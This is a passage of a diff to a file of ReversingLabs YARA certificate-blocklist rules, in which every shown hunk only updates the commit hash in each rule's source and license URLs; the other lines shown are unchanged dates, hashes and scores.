-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1726-L1742"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1726-L1742"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "951e35e2c3f1bd90a33f8b76b6ede5686ee9b9c97a4c71df5b9dff15956209c5"
 		score = 75
 		quality = 90
@@ -3781,8 +3834,8 @@ rule REVERSINGLABS_Cert_Blocklist_2880A7F7Ff2D334Aa08744A8754Fab2C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1744-L1760"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1744-L1760"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "03c7e1251c44e8824ae3b648a95cf34f4c56db65d76806306a062a343981d87f"
 		score = 75
 		quality = 90
@@ -3806,8 +3859,8 @@ rule REVERSINGLABS_Cert_Blocklist_0492F5C18E26Fa0Cd7E15067674Aff1C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1762-L1778"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1762-L1778"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d47d59d7680000d6c35181be2d9b034c2ecb7ca754a39c8e11750ddd7246b47c"
 		score = 75
 		quality = 90
@@ -3831,8 +3884,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Aa668Cd6A9De1Fdd476Ea8225326937 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1780-L1796"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1780-L1796"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "706e16995af40a6c9176dcbca07fb406f2efe4d47dbd9629d1a6b1ab1d09b045"
 		score = 75
 		quality = 90
@@ -3856,8 +3909,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Cb06Dccb482255728671Ea12Ac41620 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1798-L1814"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1798-L1814"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e0867ffe2ddd28282fe78b27b3b12ebac525b33a27dd242bc6f55bcd2e066a18"
 		score = 75
 		quality = 90
@@ -3881,8 +3934,8 @@ rule REVERSINGLABS_Cert_Blocklist_370C2467C41D6019Bbecd72E00C5D73D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1816-L1832"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1816-L1832"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b99522b75ee83d85b30146cb292b5a8a46dc300fb43dd9d39d9ca96c9d32d9b"
 		score = 75
 		quality = 90
@@ -3906,8 +3959,8 @@ rule REVERSINGLABS_Cert_Blocklist_5067339614C5Cc219C489D40420F3Bf9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1834-L1850"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1834-L1850"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1716087285a093a3467583f79d7ae9bee641997227e6d4f95047905aedcc97c6"
 		score = 75
 		quality = 90
@@ -3931,8 +3984,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E32531Ae83992F0573120A5E78De271 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1852-L1868"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1852-L1868"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b6d54ea8395c3666906b2e60c30b970c2c1b6f55ded874cbcc22dc79391fb34"
 		score = 75
 		quality = 90
@@ -3956,8 +4009,8 @@ rule REVERSINGLABS_Cert_Blocklist_6967A89Bcf6Efef160Aaeebbff376C0A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1870-L1886"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1870-L1886"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "deb7465e453aa5838f81e15e270abc958a65e1a6051a88a5910244edbe874451"
 		score = 75
 		quality = 90
@@ -3981,8 +4034,8 @@ rule REVERSINGLABS_Cert_Blocklist_7473D95405D2B0B3A8F28785Ce6E74Ca : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1888-L1904"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1888-L1904"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e15b990b13617017ca2d1f8caf03d8ff3785ca9b860bf11f81af5dadf17a9be5"
 		score = 75
 		quality = 90
@@ -4006,8 +4059,8 @@ rule REVERSINGLABS_Cert_Blocklist_04F380F97579F1702A85E0169Bbdfd78 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1906-L1922"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1906-L1922"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "73dc6e36fdaf5c80b33f20f2a9157805ce1d0218f3898104de16522ee9cfd51b"
 		score = 75
 		quality = 90
@@ -4031,8 +4084,8 @@ rule REVERSINGLABS_Cert_Blocklist_04D6B8Cc6Dce353Fcf3Ae8A532Be7255 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1924-L1940"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1924-L1940"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a316ad7f554428d02a850fb3bb04f349d30ecd2ccd4597e7a63461bf5e866e6f"
 		score = 75
 		quality = 90
@@ -4056,8 +4109,8 @@ rule REVERSINGLABS_Cert_Blocklist_191322A00200F793 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1942-L1958"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1942-L1958"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1b816785f86189817c124636e50a0f369ec85cfd898223c4ba43758a877f1cf3"
 		score = 75
 		quality = 90
@@ -4081,8 +4134,8 @@ rule REVERSINGLABS_Cert_Blocklist_451C9D0B413E6E8Df175 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1960-L1976"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1960-L1976"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7c94d87f79c9add4d7bf2a63d0774449319aa56cbc631dd9b0f19ed9bb9837d4"
 		score = 75
 		quality = 90
@@ -4106,8 +4159,8 @@ rule REVERSINGLABS_Cert_Blocklist_03943858218F35Adb7073A6027555621 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1978-L1994"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1978-L1994"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "93369d51b73591559494a48fafa5e4f7d46301ecaa379d8de70a70ac4d2d2728"
 		score = 75
 		quality = 90
@@ -4131,8 +4184,8 @@ rule REVERSINGLABS_Cert_Blocklist_09813Ee7318452C28A1F6426D1Cee12D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L1996-L2012"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L1996-L2012"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "89eb019192f822f9fe070403161d81e425fb8acdbc80e55fa516b5607eb8f8c7"
 		score = 75
 		quality = 90
@@ -4156,8 +4209,8 @@ rule REVERSINGLABS_Cert_Blocklist_476Bf24A4B1E9F4Bc2A61B152115E1Fe : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2014-L2030"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2014-L2030"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ec0f44d2a7a53ad5653334378b631abde1834ebfcf72efcdcce353c6b9ae17d"
 		score = 75
 		quality = 90
@@ -4181,8 +4234,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Bd55818C5971B63Dc45Cf57Cbeb950B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2032-L2048"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2032-L2048"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5aa41a2d6a86a30559b36818602e1bdf2bfd38b799a4869c26c150052d6d788c"
 		score = 75
 		quality = 90
@@ -4206,8 +4259,8 @@ rule REVERSINGLABS_Cert_Blocklist_4C0B2E9D2Ef909D15270D4Dd7Fa5A4A5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2050-L2066"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2050-L2066"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9c74eb025bb413503b97ffdba6f19eadecf3789ce3a5d5419f84e32e25c9b5b1"
 		score = 75
 		quality = 90
@@ -4231,8 +4284,8 @@ rule REVERSINGLABS_Cert_Blocklist_5E3D76Dc7E273E2F313Fc0775847A2A2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2068-L2084"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2068-L2084"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b943057fc3e97cfccadb4b8f61289a93b659aacf2a40217fcf519d4882e70708"
 		score = 75
 		quality = 90
@@ -4256,8 +4309,8 @@ rule REVERSINGLABS_Cert_Blocklist_47D5D5372Bcb1562B4C9F4C2Bdf13587 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2086-L2102"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2086-L2102"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fb4994647a2ed95c73625d90315c9b6deb6fb3b81b4aa6e847b0193f0a76650c"
 		score = 75
 		quality = 90
@@ -4281,8 +4334,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Ac10E68F1Ce519E84Ddcd28B11Fa542 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2104-L2120"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2104-L2120"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dac3b6b7609ec1e82afe4f9c6c14e2d32b6f5d8d49c59d6c605f2a94d71bc107"
 		score = 75
 		quality = 90
@@ -4306,8 +4359,8 @@ rule REVERSINGLABS_Cert_Blocklist_31062E483E0106B18C982F0053185C36 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2122-L2138"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2122-L2138"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e45fc5b4d1b9f5cd35c56aad381e26e30675a9d99747cd318f3c77ea2af0e14a"
 		score = 75
 		quality = 90
@@ -4331,8 +4384,8 @@ rule REVERSINGLABS_Cert_Blocklist_20D0Ee42Fc901E6B3A8Fefe8C1E6087A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2140-L2156"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2140-L2156"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2225302de1e8fe9f2ad064e19b2b1d9faf90c7cafbebff6ddd0921bf57c5f9e6"
 		score = 75
 		quality = 90
@@ -4356,8 +4409,8 @@ rule REVERSINGLABS_Cert_Blocklist_127251B32B9A50Bd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2158-L2174"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2158-L2174"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8552ce9e9ab8d6b1025ab3c6e7b2485ef855236114c426475fde0b5f2e231ec9"
 		score = 75
 		quality = 90
@@ -4381,8 +4434,8 @@ rule REVERSINGLABS_Cert_Blocklist_48Cad4E6966E22D6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2176-L2192"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2176-L2192"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7733b8a97d9f3538db04309a2e3f9df6cb64930b0b6f7f241c3e629be2dd7804"
 		score = 75
 		quality = 90
@@ -4406,8 +4459,8 @@ rule REVERSINGLABS_Cert_Blocklist_5E15205F180442Cc6C3C0F03E1A33D9F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2194-L2210"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2194-L2210"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1ca238b5da4ff9940425c99f55542c931ccdf0ea3b0a2acbf00ffbbb54171ae0"
 		score = 75
 		quality = 90
@@ -4431,8 +4484,8 @@ rule REVERSINGLABS_Cert_Blocklist_4C8E3B1613F73542F7106F272094Eb23 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2212-L2228"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2212-L2228"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "15c21b783409d904a0b4971dbdcbd0740083d13f3c633ee77c87df46d3aca748"
 		score = 75
 		quality = 90
@@ -4456,8 +4509,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Ce2Bd0Ad3Cfde9Ea73Eec7Ca30400Da : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2230-L2246"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2230-L2246"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a879ecd957acd29e8a5bad6c97cd10453ab857949680b522735bd77eb561d2ee"
 		score = 75
 		quality = 90
@@ -4481,8 +4534,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fbc30Db127A536C34D7A0Fa81B48193 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2248-L2264"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2248-L2264"
